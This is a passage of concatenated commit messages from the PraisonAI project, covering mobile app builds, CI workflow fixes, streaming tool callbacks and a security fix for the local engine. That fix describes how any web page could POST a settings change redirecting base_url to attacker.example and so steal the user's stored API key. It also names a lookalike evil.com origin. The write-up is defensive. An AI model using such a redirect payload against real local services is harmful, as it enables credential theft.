Three things were wrong and are fixed here rather than shipped:
- The precache list was hand-written, and code splitting (#4727) had since
given app.js a chunk it imports STATICALLY. That chunk was in no list, so
the app rendered online and died on an offline reload. The list is now read
off the bundle's own eager set. The lazy chunks stay out -- precaching
1.4MB would undo the split -- and the worker caches them as they are
fetched instead, so a feature works offline once it has been used.
- mobile-web.yml never built praisonai-ts, which is a `file:` dependency, so
its `npm ci` could not have installed at all.
- Its paths filter watched only src/praisonai-mobile. The web bundle is built
FROM praisonai-ts, so drift there must trigger this gate too -- the same
reason mobile.yml watches those paths.
The Pages deploy SKIPS with a notice when Pages is not set to build from
GitHub Actions, rather than failing. No workflow can set that; a red main on
every push because of a missing setting is how mobile checks get ignored.
Every gate here was mutation-tested. Removing the manifest link, loosening
script-src, throwing on mount, decoupling the cache name from the built bytes,
and dropping the eager chunks from the precache list each fail a named test.
Deleting the activate cleanup and making navigation cache-first initially
survived -- one build in one browser context has only ever one cache, so
"exactly one cache" was true either way. A second test now deploys a v2 under
a browser holding v1 and kills both: a stale-cache worker that pins visitors
to a replaced build is worse than no worker at all.
Refs #4673
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(mobile): scope service worker cache cleanup to praisonai-mobile- prefix
The activate handler deleted every CacheStorage key except the current one.
GitHub Pages serves all of an account's project sites from one *.github.io
origin, and Cache Storage is partitioned by origin (not by worker scope), so
this wiped a sibling site's offline data on every deploy. Filter deletions by
the praisonai-mobile- prefix. The redeploy test now seeds a foreign cache and
asserts it survives; the existing stale-cache assertion is unaffected since its
seeded key already carries the prefix.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The engine binds loopback, which keeps other machines out but not other
pages: any site open in the user's browser can reach 127.0.0.1 with a
two-line fetch. Every response carried `Access-Control-Allow-Origin: *`
and no route had any authentication, so a page could
POST /settings {"base_url": "http://attacker.example/v1"}
and the API key stored in the user's keychain would travel to that host on
the next turn. Reproduced end to end against the real Handler: the write
returned 200 with `ACAO: *`, and load_settings() then reported the
attacker's base_url with the user's real key still beside it.
Redacting settings replies (f6ed3966c) is not a mitigation for this. It
stopped the key being echoed; the attacker never needs to read it, only to
redirect where it is sent. Reading and deleting every chat transcript was
open the same way.
A browser attaches Origin to cross-origin requests and a page cannot forge
it, so refusing unknown origins closes this without a shared secret -- which
would need the Rust shell to carry one. Requests with no Origin stay
allowed: cli.py, the tests and curl are local processes that already have
the user's filesystem, so a token would protect nothing there.
Allowed: `tauri://localhost` (macOS, Linux), `http://tauri.localhost`
(Windows, Android) and localhost on any port for `npm run dev`. Matching is
on the parsed hostname, so `http://tauri.localhost.evil.com` is refused. A
refusal answers 403 with no CORS header, so the page cannot read the reply
either, and replies now echo the caller's own origin rather than `*`.
This does not close the same routes to a *local* process, which needs the
per-launch token the shell would have to carry.
237 engine tests pass. Five mutations killed, including reverting the gate
and restoring the wildcard.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* fix: desktop images reach vision models instead of being pasted as text (fixes#4696)
Images (and PDFs) dropped on the desktop composer were read with f.text()
and folded into the prompt string, so a vision model never saw them. Now the
UI sends images as base64 data URLs, the engine forwards them as attachments=,
and the streaming path builds a multimodal prompt via the existing
_build_multimodal_prompt helper. Text files keep the existing concat path.
Co-authored-by: MervinPraison <[email protected]>
* fix: build streaming multimodal prompt after knowledge so image survives
Greptile P1: overwriting prompt with the multimodal list before knowledge
retrieval caused the f-string knowledge interpolation to flatten it back to
text, dropping the image. Keep the text prompt through knowledge search and
build the multimodal content afterwards in both streaming branches.
Co-authored-by: Mervin Praison <[email protected]>
* chore(parity): regenerate signature-parity files after merging main
The signatures gate failed on stale generated files only; no TypeScript
surface changed here. Regenerated with
PYTHONPATH=src/praisonai python3 -m praisonai._dev.parity.signatures --write
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Co-authored-by: MervinPraison <[email protected]>
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* feat(mobile): emit the native shell events -- lifecycle, safe-area, and Android's back gesture
The Rust crate had the four event names and the pure decision functions, and
nothing that ever emitted any of them: `on_window_event` was an empty closure.
On a device the webview subscribed to four events and received none, so the app
laid out as though the phone had no notch and no lifecycle, and the back button
did nothing. Three of the four now have a real source.
lifecycle
Tauri already surfaces `Suspended`/`Resumed` on mobile (onPause/onResume,
willResignActive/willEnterForeground) and `Focused` everywhere. Only the
translation was ours: `window_event_name` names the variant, `phase_for` maps
it to the three phases the TypeScript accepts, and `Tracker` decides whether
it is news. `Suspended` maps to `background`, not the semantically closer
`inactive`, because boot.ts flushes only on `background` and iOS can kill a
suspended app with no further callback -- mapping to `inactive` loses the
transcript on every backgrounding. The two suppressions in `Tracker` exist
for real delivery orders: Android's onPause is followed by
onWindowFocusChanged(false), which would otherwise report the app as having
come *up* to inactive while still backgrounded.
safe-area-changed
Emitted on `Resized` and `ScaleFactorChanged`, with a deliberately EMPTY
payload. Tauri does not expose the insets and this crate does not guess them;
`coerceInsets` reads a payload with no edges as "re-read the CSS env()
variables", which the WebView has already recomputed by the time the resize
reaches Rust. Zeros would be a lie the composer lays out against.
back-gesture, and why it is not Plugin.trigger
The TypeScript subscribes via `plugin:event|listen`, which registers in
TAURI'S OWN event registry. Only `Emitter::emit` reaches it. Tauri's AppPlugin
already installs an OnBackPressedCallback, but it routes the press to
JavaScript plugin listeners via `Plugin.trigger` -- a completely separate
channel that reaches neither that registry nor Rust. Wiring it that way would
fire nothing, with no error anywhere.
Arbitration also has to happen in Rust: the webview's answer is
fire-and-forget (`bridge.invoke` swallows every rejection into `null`), so
only Rust can time it out, and a back button that does nothing forever is
worse than one that exits.
So the new in-repo `tauri-plugin-back-gesture` owns its own callback in
Kotlin and the path is Kotlin -> Channel -> Rust -> emit:
BackGesturePlugin.kt OnBackPressedCallback, registered in `load` (not
`init`) so it is always newer than Tauri's and
therefore consulted first
-> trigger(EVENT) the base Plugin class's `registerListener` command,
handed a Rust-owned tauri::ipc::Channel
-> Rust closure commands::on_back_pressed
-> Emitter::emit "back-gesture", which is what the webview hears
-> back_gesture_result(handled) or a 400ms watchdog
-> fallBack() re-dispatch with the callback disabled, so the SYSTEM
default runs; on Android 12+ that backgrounds the task
rather than destroying the activity, preserving warm
start
Inert on iOS and desktop by design: iOS has no OS-level back, and an app that
terminates itself is an App Review rejection.
keyboard-height is still not emitted natively -- the TypeScript reads
`visualViewport`, which both WebViews implement and which fires through the
show/hide transition. The constant stays so a native source can take over
without touching the contract. docs/gaps.md now says so rather than claiming
the whole platform half is missing.
Also here
- `tauri-plugin-opener`, without which `openExternal`'s invoke rejected and
on iOS returned true having done nothing. The capability grants both
`opener:allow-open-url` and `opener:allow-default-urls`; without the scope
every http(s)/mailto/tel URL is still refused.
- The plugin is a workspace member so `cargo test` and
`cargo clippy --all-targets -- -D warnings` cover it too; as a bare path
dependency its lints would be capped and its tests never run.
- `.gitignore` under plugins/ for `.tauri/`, `build/`, `.gradle/` and
`local.properties`: an android build drops Gradle/Kotlin output there.
- `consumer-rules.pro`, which `android/build.gradle.kts` names in
`consumerProguardFiles`. AGP fails the library build when a file named
there is missing, so it has to exist even with nothing in it.
Tested
`run()`'s builder chain is split into `configure()` so tests build the SAME
app on Tauri's mock runtime. That was not cosmetic: mutation testing showed
the pure suite could not see the wiring at all. Deleting the safe-area emit,
making `on_window_event` never emit, dropping `manage(LifecycleState)` and
dropping `.on_window_event(...)` ALL survived with every test still green.
`tests/wiring.rs` closes them -- it puts a real Window through the real
handler and asserts the emitted payloads. The one line no mock can check is
`.on_window_event(...)` itself, because MockRuntime accepts the callback and
drops it; that one is a source assertion, labelled as such.
14 of 14 mutations are now killed by a named test. 29 Rust tests pass,
clippy is clean at -D warnings, and `cargo check --target
aarch64-linux-android` passes, which is what compiles the cfg(mobile) arms.
Refs #4673
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(cli): add missing variant field to InteractiveConfig
The interactive flag-parity tests (test_flags.py) expected an InteractiveConfig
`variant` field that was never added, breaking the smoke job. Add it as an
optional string (default None) parsed from args, mirroring the existing `share`
field. Pre-existing failure unrelated to the mobile-shell PR contents.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
`mobile-platforms.yml` fails at `npm ci` on `main`, in ~2 seconds, on both
runners. Every step it exists for -- the simulator app, the debug APK, and
both "is the Rust inside it?" guards -- is skipped.
Two independent defects, and the second is what let the first land.
1. Neither job builds the `file:` dependency.
#4727 made `praisonai` a `file:` link to the sibling package, so `npm ci`
in praisonai-mobile now runs praisonai-ts's own `prepare` -> `prebuild` ->
`rimraf dist`. `rimraf` is a praisonai-ts devDependency and a fresh runner
has no praisonai-ts `node_modules`, so:
npm error code 127
npm error command sh -c npm run build
npm error sh: rimraf: command not found
`mobile.yml` gives all four of its jobs a "Build praisonai-ts" step and so
survives. These two jobs were written against the tree from before the
dependency existed and never got it.
Reproduced locally from a clean state (both node_modules and dist removed):
`npm ci` exits 127. With the new step ahead of it -- praisonai-ts
`npm install --legacy-peer-deps` then `npm run build` -- the same command
from the same state exits 0.
2. The workflow had no `push` trigger, so it had never run on `main` at all.
That is why this was invisible. #4737 branched from `28ab7f1cb`, which
predates #4727; `git merge-base --is-ancestor 6885c1276 9ea153d65` returns
1. Its platform run was genuinely green -- iOS 3m13s, Android 3m -- but
green on a tree where `dependencies` was empty and `prepare` therefore
never fired. Two PRs, each correct alone, broke `main` the moment both had
landed, and no gate on `main` was looking.
`push: branches: [main]` now closes that, sharing the paths filter through
a YAML anchor so the two cannot drift apart. The filter also gains
`src/praisonai-ts/src/**`, since that is the side of the `file:` link that
drifts.
A gate that quietly does not run is worse than one that fails, and this is
the third instance in this package: a path filter blind to praisonai-ts, an
unquoted `file:` in a step name that made GitHub skip an entire workflow, and
now a workflow with no trigger on the branch it was meant to protect.
Co-authored-by: Claude Opus 5 (1M context) <[email protected]>
* fix(agent): fire the 'tool_call' display callback from the streaming paths
Streaming UIs (the desktop) learn that a tool ran only through the
'tool_call' display callback registered with register_display_callback.
The non-streaming path fires it from the OpenAI client after every tool
(display_tool_call -> execute_sync_callback('tool_call', ...)), but the
streaming path in ChatMixin executes its accumulated tool calls inline
and never told anyone, and LLM.get_response_stream executed its batch
with only an 'llm_content' event. So with stream=True a tool could run,
its result reach the model, and the UI show no tool activity at all.
Both streaming executors now fire the same callback with the same kwargs
the non-stream path passes (message, tool_name, tool_input, tool_output,
elapsed_time, success), including the failure case before a tool error is
re-raised. The call is best-effort: a raising callback is logged at debug
level and swallowed, so it can neither break the stream nor be mistaken
for a tool failure (the inline executor's except clause would otherwise
have replaced the real tool result with the callback's error text).
In get_response_stream the module-level `time` name is unbound at the
tool round because the function re-imports `time` locally further down,
so the timing uses a distinct alias.
The tests drive Agent.start(stream=True) through a scripted streamed
transport and get_response_stream through a scripted _completion_with_retry,
and assert on the callback's arguments and on the tool result that reaches
the follow-up request.
Closes#4716
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* chore(parity): regenerate signature-parity files for the stream tool-callback change
The signatures gate failed only because the two generated files were stale;
no TypeScript surface changed. Regenerated with
PYTHONPATH=src/praisonai python3 -m praisonai._dev.parity.signatures --write
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(agent): report durable streaming tool failures as success=False
A durable run converts a raising tool into an {"error": ...} result instead
of re-raising, so the inline streaming success branch mislabeled a failed tool
as success=True. _notify_tool_call now downgrades an error-shaped dict result
to success=False, matching the tool's real outcome. Adds a regression test.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Fable 5.1 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
When a streaming request fails, _start_stream_impl falls back to self.chat().
start() had already merged stream=True (plus knobs like max_tokens/top_p) into
the forwarded kwargs, so the naive fallback re-splatted them into the sync path:
- stream=True tripped "Streaming is not supported in sync OpenAIAdapter"
- max_tokens/top_p raised TypeError (chat() has no such parameters)
- the fallback's own error masked the real streaming cause
Both fallback sites now filter kwargs to what chat() actually accepts (never
carrying stream through) and re-raise the ORIGINAL streaming exception if the
fallback also fails, so callers see the true cause (e.g. context-length).
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: reject model ids the lean desktop engine cannot run (fixes#4713)
A slashed provider id (e.g. ollama/llama3.2) takes praisonaiagents' custom-LLM
path, which needs litellm -- but the desktop provisions only the base package,
so litellm is absent and every turn failed with an import error or a bare-OpenAI
404 with nothing telling the user the id was unsupported in this build.
Keep the venv lean and make the picker honest instead:
- POST /settings rejects a model id needing the LiteLLM path when litellm is not
importable, answering 422 with an explanatory message before it is saved.
- GET /health reports `litellm` so the combobox can mark unsupported ids.
- The settings UI surfaces the engine's reason on a rejected save.
Co-authored-by: MervinPraison <[email protected]>
* fix(desktop): stop concurrent _persist writes leaking temp files
The engine (ubuntu-22.04) CI failure was a flaky race in the training
persistence layer, not in this PR's model-support code: _persist keyed the
temp file on the pid alone, so start()'s main-thread write and the
supervisor thread's spawn/RUNNING writes collided on one temp path. One
thread's os.replace moved the temp, the other left an orphan run.json.*.tmp
behind, tripping test_a_half_written_state_file_never_reaches_the_reader.
Give each write a unique temp name (pid + thread id + monotonic counter) so
every atomic swap is isolated.
Also address the Greptile review note: the unsupported-model message no
longer recommends a Base URL override on its own (which cannot clear the
slash-based guard); it now says to use a bare id, optionally with a Base URL.
🤖 Generated with [Claude Code](https://claude.ai/code)
Co-Authored-By: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* fix: wire session FTS5/bm25 search into CLI and desktop (fixes#4701)
The ranked SqliteSessionStore search engine had no CLI or UI caller. Add
`praisonai session search <query>`, which wraps the canonical CLI stores'
transcripts in SqliteSessionStore for FTS5/bm25 ranking with snippets, and
delegate the desktop `/search` route to the same engine over its chats dir
(in-memory index so edited chats never serve stale), replacing the O(all
conversations) substring scan.
Co-authored-by: MervinPraison <[email protected]>
* fix: dedup cross-store shadows in CLI session search
A session resumed from the global default store keeps a project-side
shadow, so the same id matches in both canonical stores. The search
appended both copies, letting duplicate rows consume the result limit
and crowd out distinct matches. Collapse by session id (keeping the
higher-scoring copy) before limiting. Adds a mutation-guarded test.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
Desktop: add reasoning_effort to DEFAULT_SETTINGS, the settings registry
(Models section) and _llm_overrides(), forwarded through start() only when a
real level is chosen -- "off" stays a no-op so a provider default is never
overridden. Reuses the exact path temperature/top_p already use, no new surface.
CLI: delete InteractiveConfig.variant, a documented "reasoning effort" knob with
zero consumers and no flag to set it.
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: MervinPraison <[email protected]>
* feat(mobile): generate the Android project (gen/android) and build a debug APK
`tauri android init` had never been run: src-tauri/gen/ held only the ACL
schemas, so there was no Android app, only a crate that cross-checked.
This is the output of `npx tauri android init --ci` on tauri-cli 2.11.4,
unmodified: AGP 8.11 / Gradle 8.14.3 / Kotlin 1.9.25, compileSdk 36,
minSdk 26 (from tauri.conf.json), applicationId ai.praison.mobile. The
template's own .gitignore keeps the per-build files out (jniLibs symlinks,
the generated/ Kotlin, tauri.properties, build/); the root .gitignore
gains .android-sdk/ for the laptop SDK+NDK+JDK that built this.
Verified: `npx tauri android build --debug --apk --target aarch64`
produces gen/android/app/build/outputs/apk/universal/debug/
app-universal-debug.apk (119 MB debug, arm64-v8a,
lib/arm64-v8a/libpraisonai_mobile_lib.so, versionName 0.1.0). Two things
the CLI's error messages asked for, recorded so nobody re-derives them:
NDK 28.2 (r28c) via NDK_HOME, and a JDK 17: Gradle 8.14.3's Groovy
rejects JDK 25 ("Unsupported class file major version 69").
The mipmaps here are already the ones the next commit's `tauri icon`
run wrote into this tree, since the icon step targets gen/android when it
exists.
Refs #4673
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* feat(mobile): a 1024px app icon, and the iOS AppIcon set and Android mipmaps from it
There was no source art: src-tauri/icons/icon.png was a 512px placeholder,
the App Store wants 1024, and neither platform had an icon set. So the mark
is generated, not drawn, and says so: icon/app-icon.svg is a geometric P
(a 120-unit stem and a 120-unit bowl, one weight) with one amber dot where
a cursor would sit, white on flat indigo #312E81. No gradients, no text, so
it reads at 20px and satisfies the flat-1024, no-alpha App Store rule.
icon/ holds the sources (three SVGs, the JSON manifest `tauri icon`
consumes, and render.sh, which turns the SVGs into the 1024px PNGs with
rsvg-convert). Everything under src-tauri/icons/ and the launcher mipmaps
in gen/android are the output of
npx tauri icon icon/icon.json
on tauri-cli 2.11.4: icons/ios/AppIcon-*.png (the 18 sizes the Xcode asset
catalog lists), the adaptive-icon layers (foreground at 56% for the launcher
mask's safe zone, a flat background, and a monochrome layer for Android 13
themed icons) plus mipmap-anydpi-v26/ic_launcher.xml tying them together,
and the desktop set the same command always writes.
Verified: the debug APK rebuilt with these resources and aapt reports the
adaptive icon (`icon='res/mipmap-anydpi-v26/ic_launcher.xml'`).
Refs #4673
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* ci(mobile): build the iOS simulator app and the Android debug APK on every mobile PR
mobile.yml cross-checks the crate for both phone targets; nothing built an
app. This workflow does, on the runners that can:
ios-simulator (macos-15) runs `tauri ios init` only if gen/apple is
absent -- this laptop has no Xcode, so the first run generates the
project and uploads it (gen-apple artifact) to be committed -- then
`tauri ios build --debug --target aarch64-sim --no-sign`, an unsigned
arm64 simulator .app. That is the build that needs no Apple Team or
certificate, which are the maintainer's and not in this repo.
android-apk (ubuntu-22.04) JDK 17, SDK 36, NDK r28c, then the same
`tauri android build --debug --apk --target aarch64` that produced the
APK locally.
Both jobs check that the artifact exists AND contains the Rust library
before uploading, with if-no-files-found: error behind that. A bundler
that skipped its target exits zero (desktop-release.yml's lesson), so the
step passing is not the evidence; the file is.
Refs #4673
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(ci): the iOS check asserted two things an iOS app never has
The first run built the simulator app fine -- init and build both passed --
and then the verification step failed it, so the gen/apple artifact was
never uploaded and the project could not be committed.
Two wrong assumptions, both from reading the Android APK as if iOS worked
the same way:
* it looked for assets/index.html in the bundle. There isn't one, on
either platform: generate_context! embeds the frontend INTO the binary
at compile time (the APK likewise carries only tauri.conf.json).
* it hardcoded PraisonAI.app and PraisonAI as the bundle and executable
names. Both come from productName via the CLI, so they are now read
back out of the bundle's own Info.plist instead of guessed.
What it asserts now is what actually proves an iOS app was built: an .app
in the simulator export dir, an arm64 Mach-O executable, and the Rust
crate's symbols INSIDE that executable -- iOS links the staticlib in, so
there is no .so to find, and without that check a build of the bare Swift
template would pass. Diagnostics are printed before the first assert so a
failure costs a log read rather than another run.
Also: `tauri ios init` renders the CLI's own placeholder AppIcon PNGs and
nothing ever replaces them -- `tauri icon` writes to src-tauri/icons/ios/
and wires up gen/android only, with no iOS equivalent. A new step copies
that set into the Xcode project (the filenames match one-for-one; both
sides are named by the same Contents.json), so the app carries the icon
from the previous commit rather than Tauri's.
And gen/apple is packaged with `if: always()`, since init produces it
whether or not the build that follows succeeds.
Refs #4673
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(ci): the iOS Rust-symbol check failed because it FOUND the symbol
`strings -a "$exe" | grep -qi praisonai_mobile` -- grep -q exits on the
first match, strings then dies of SIGPIPE ("failed to flush output"), and
`set -o pipefail` turns that into a failed pipeline. So the check reported
"the Rust library is not linked into ..." at the exact moment it proved the
opposite. The run's log shows both: the SIGPIPE error and the error message
it caused, one line apart.
Both dumps now go to files and are grepped there, so no pipe exists to
break. Everything else about the step was already right: the log shows
build/arm64-sim/PraisonAI.app with an arm64 Mach-O executable, Assets.car,
and the AppIcon PNGs from our own set.
Refs #4673
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* feat(mobile): generate the Xcode project (gen/apple), so iOS is a real app
The last of the three things that had never existed. `tauri ios init` needs
Xcode, which this laptop does not have (Command Line Tools only: xcrun
cannot locate the iphoneos SDK), so the project was generated on the
macos-15 runner by the workflow two commits ago and is committed here from
its gen-apple artifact, byte for byte. The init step is guarded on the
directory, so it is now a no-op and every later run goes straight to
building.
33 files: praisonai-mobile.xcodeproj (pbxproj, workspace, the
praisonai-mobile_iOS scheme), Sources/praisonai-mobile/main.mm and the
bindings header that call into the Rust staticlib, project.yml (the
xcodegen spec init renders from tauri.conf.json), LaunchScreen.storyboard,
Podfile, ExportOptions.plist, the entitlements file, Info.plist, and
Assets.xcassets/AppIcon.appiconset -- whose 18 PNGs are byte-identical to
src-tauri/icons/ios, i.e. our mark and not Tauri's placeholders.
Info.plist is left exactly as generated. It needs nothing added: the app
defaults to the in-process engine on mobile and talks to model providers
over HTTPS, which default App Transport Security already allows, so there
is deliberately NO ATS exception here -- adding one would weaken the app to
buy nothing.
CFBundleShortVersionString 0.1.0, LSRequiresIPhoneOS, arm64 + metal
required, iOS 16.0 minimum from tauri.conf.json.
Verified on the runner: build/arm64-sim/PraisonAI.app, an arm64 Mach-O
executable with the Rust crate's symbols linked into it.
Refs #4673
Co-Authored-By: Claude Fable 5.1 <[email protected]>
---------
Co-authored-by: Claude Fable 5.1 <[email protected]>
* feat(mobile): bundle the in-process engine as a lazily-fetched chunk
`praisonai/mobile` is now a dependency and reaches the webview as a chunk
behind one literal `import()` in engines/praisonai-ts/load-agent.ts. The
shell that loads at first paint is unchanged -- 66.6kB (app.js 65.9kB plus
esbuild's 0.6kB interop helper) of a 400kB budget -- and the engine's
1361.4kB (zod 426k, ai 276k, @ai-sdk/openai 166k, @ai-sdk/google 142k,
openai 102k, praisonai 79k) is fetched only when the in-process engine
first runs.
Two budgets replace SIZE_BUDGET_BYTES, because the two populations are paid
for at different moments: SHELL_BUDGET_BYTES (400kB, the entry chunk plus
its static import graph) and LAZY_BUDGET_BYTES (1500kB, everything behind
an import(); ~10% above the measured engine so one more provider is a
decision). Both are pinned, both are proven to fail, and a fixture proves
neither is the other in disguise.
The gate learns three things it could not see: an unresolvable bare import
is now named by the gate instead of aborting the build inside esbuild (the
plugin probes resolution and leaves failures external); a CLI-only external
(chalk, boxen, ora, cli-table3, figlet) imported STATICALLY fails, because
external + static is import-time fatal; and praisonai reaching any eager
chunk fails at one byte rather than at 400kB.
The Chrome target is DERIVED and no longer a literal: the floor from
tauri.conf.json through ANDROID_WEBVIEW_FLOOR, raised to chrome63 because
import() is Chrome 63 (measured: below it esbuild lowers the dynamic import
and the whole engine lands in the shell, 1486.8kB), raised to chrome89 for
as long as the installed praisonai/mobile carries top-level await (the esm
shim in 1.7.4, probed per file at load; removed upstream in praisonai-ts
#4720, awaiting a release).
tools/bundle-target.test.mjs's first test is RED ON PURPOSE. It says which
of the two things holds the target above the declared chrome58: the engine
layer clears itself on the praisonai bump; the split layer (chrome63) is a
minSdkVersion decision this change does not make.
Refs #4673.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* feat(mobile): the in-process engine ships, and a device starts on it
`praisonai` is now `file:../praisonai-ts` rather than a registry pin: the
top-level-await fix that makes `praisonai/mobile` buildable for the
chrome58 WebView (praisonai-ts #4720) lives in this repo, so the engine
the app ships is the one in the same commit, and a change to praisonai-ts's
esm shim fails mobile's CI on the PR that makes it. CI builds praisonai-ts
before `npm ci` here.
The bundle gate follows the link honestly: bare imports are resolved from
THIS package first and the importer second, because peers are the
consumer's to provide and Node's real-path resolution through a link cannot
see them (@ai-sdk/cohere, which praisonai imports and never declares, was
reported unresolved); and "unresolved" is read off the metafile -- the
plugin's own probe from the importer -- instead of re-resolved from the
entry, where praisonai's own dependencies would look missing.
The esbuild target is chrome58, DERIVED from tauri.conf.json through
ANDROID_WEBVIEW_FLOOR, and the real build succeeds there: shell 72.0kB
(app.js 70.1kB + 1.9kB helper) of 400kB, lazy 1459.6kB of 1600kB. One
construct is kept above the floor on purpose -- import() is Chrome 63 and
esbuild would otherwise lower it into a static import and put the whole
engine in the shell (measured: 1486.8kB) -- so bundle() tells esbuild the
target supports it, and bundle-target.test.mjs pins that the override is
load-bearing, that the split floor really is 63, and, with a parser rather
than a regex, that no chunk (engine included) carries syntax the floor
cannot parse. No red-on-purpose test remains.
The engine is wired end to end. `defaultEngineIdFor("tauri")` is
ENGINE_PRAISONAI_TS (web keeps remote-http); it is in the picker's choices
again, with the stale comment saying why it was removed rewritten to say
why it is back; `settingDefsFor(kind)` gives boot the platform's defs so
Settings shows the engine that answers; and a mount-level test drives a
message through the real composer, engine, controller and transcript on
platform "tauri" with empty storage into a scripted Agent handed in through
the `loadAgent` seam -- no network, no key.
Known gap, stated not solved: the in-process Agent has no API-key setting
on a device yet, so a real first turn reaches the model layer and fails
recoverably for want of a key.
Refs #4673.
Co-Authored-By: Claude Fable 5.1 <[email protected]>
* fix(mobile): the workflow did not parse, so no mobile job ran on this PR
`- name: Build praisonai-ts (the file: dependency)` is not valid YAML: the
unquoted `file:` reads as a key separator, so the whole file failed to load
at that line. GitHub skips a workflow it cannot parse -- silently, with no
annotation and no failing check.
The effect was that this PR, which rewrites the bundler and adds the engine
dependency, ran ZERO mobile jobs: no `check (node ...)`, no `rust shell`, no
`upstream parity`, no `cross-check`. `gh pr checks 4727` listed only the
repo-wide jobs, and nothing said why.
Both occurrences are quoted now, and `yaml.safe_load` accepts the file.
That the gate can vanish this quietly is the finding, not the typo -- the
same shape as the path filter that made `upstream parity` blind to
praisonai-ts (#4689). A workflow-lint step would catch the class; noted for
follow-up rather than smuggled into this PR.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
* fix(mobile): upstream-parity also needs the file: dependency built
With `"praisonai": "file:../praisonai-ts"`, every job that runs `npm ci` in
praisonai-mobile first needs praisonai-ts installed and built. Three jobs got
that step; `upstream-parity` did not, and it failed on this PR the moment the
workflow started parsing again.
Worth stating plainly: the failure was real CI feedback, not drift. The
checker itself passes -- the real Agent still satisfies PraisonAgent -- but
the job could not reach the point of running it.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
---------
Co-authored-by: Claude Fable 5.1 <[email protected]>
Three files on the `praisonai/mobile` import graph -- llm/backend-resolver,
llm/providers/ai-sdk/index and llm/providers/registry -- reached the ESM build
with a top-level `await Promise.all([import('module'), ...])` at line 1. It is
not in the source: scripts/esm-shim.js prepends that createRequire banner to
any emitted ESM file that still calls a bare `require()`, and these three did,
inside "lazy" provider loaders. Top-level await needs Chrome 89; the mobile app
declares Android minSdkVersion 26, whose WebView is Chrome 58. esbuild refuses
to lower it, so the published entry was unbuildable at the floor the app ships
with -- while passing the gate at chrome108.
Each require() was checked for the cycle it might have been deferring, by
building the static import graph of src/ and by trying the static import:
registry.ts x3 no cycle. openai/anthropic/google import only base and
openaiClientOptions. The registry's sole importer,
providers/index.ts, already re-exports all three classes
statically, so the lazy require deferred nothing.
ai-sdk/index.ts x3 no cycle. The same file already does
`export { AISDKBackend } from './backend'` and re-exports
provider-map statically. The laziness that matters --
`import('ai')` -- lives in backend.ts and is untouched
(lazy-import.test.ts pins it).
backend-resolver x2 no cycle. providers/ and providers/ai-sdk/ never import
it back. Adds 13 first-party files and zero new packages
to the mobile graph -- all of which esbuild was already
bundling through the require() edges.
ai-sdk/index.ts:187 `require('ai/package.json')` is a genuine runtime lookup.
Now a dynamic import with a JSON import attribute: tsc
lowers it to require() in the CJS build and keeps the
attribute in the ESM build, so both still resolve the real
version from this file's own location. Isolating the
require in a lazily-imported leaf was tried and rejected:
esbuild refuses a top-level await anywhere on the graph.
All nine become static imports (the provider factories keep their sync
`() => Ctor` loader shape, so `registry.get()` returns what it always did).
Side effect, measured under native Node ESM: the shim repointed each relative
require() at the CommonJS twin in dist/, so an ESM caller of resolveBackendSync
got a SECOND provider registry. On origin/main, registerProvider('stub', ...)
followed by resolveBackendSync('stub/m') fails with "Unknown provider: 'stub'";
it now resolves from the same registry.
Proof, after `npm run build`:
grep -l __praisonMod dist/esm/llm/backend-resolver.js \
dist/esm/llm/providers/ai-sdk/index.js dist/esm/llm/providers/registry.js
prints nothing, and dist/esm/mobile.js bundles at target chrome58.
Gate: scripts/webview-gate.mjs now also bundles every entry for a FLOOR_TARGET
of chrome58 and fails with esbuild's own file:line diagnosis. Tests: the
packaging suite asserts the grep above (and the same detector over the
sources), and runs the gate against the fresh dist; resolveBackendSync gets
its first coverage (native, cached-AI-SDK, and caller-registered provider);
getAISDKVersion is pinned to the installed `ai` version.
Refs #4673
Co-authored-by: Claude Fable 5.1 <[email protected]>
A person who types `at:2026-03-01T09:00:00` or `at 9am` means that reading
on their own clock. The parser stored the naive string verbatim and computed
bare clock times in UTC (resolve_schedule_timezone(None) is UTC), so
is_due() was left to guess the zone at fire time and, outside UTC, one-shot
jobs fired an hour or more off. PR #4705 patched the guess inside is_due()
to prefer the local zone; this makes the stored value carry its zone in the
first place, so no runner environment can reinterpret it later.
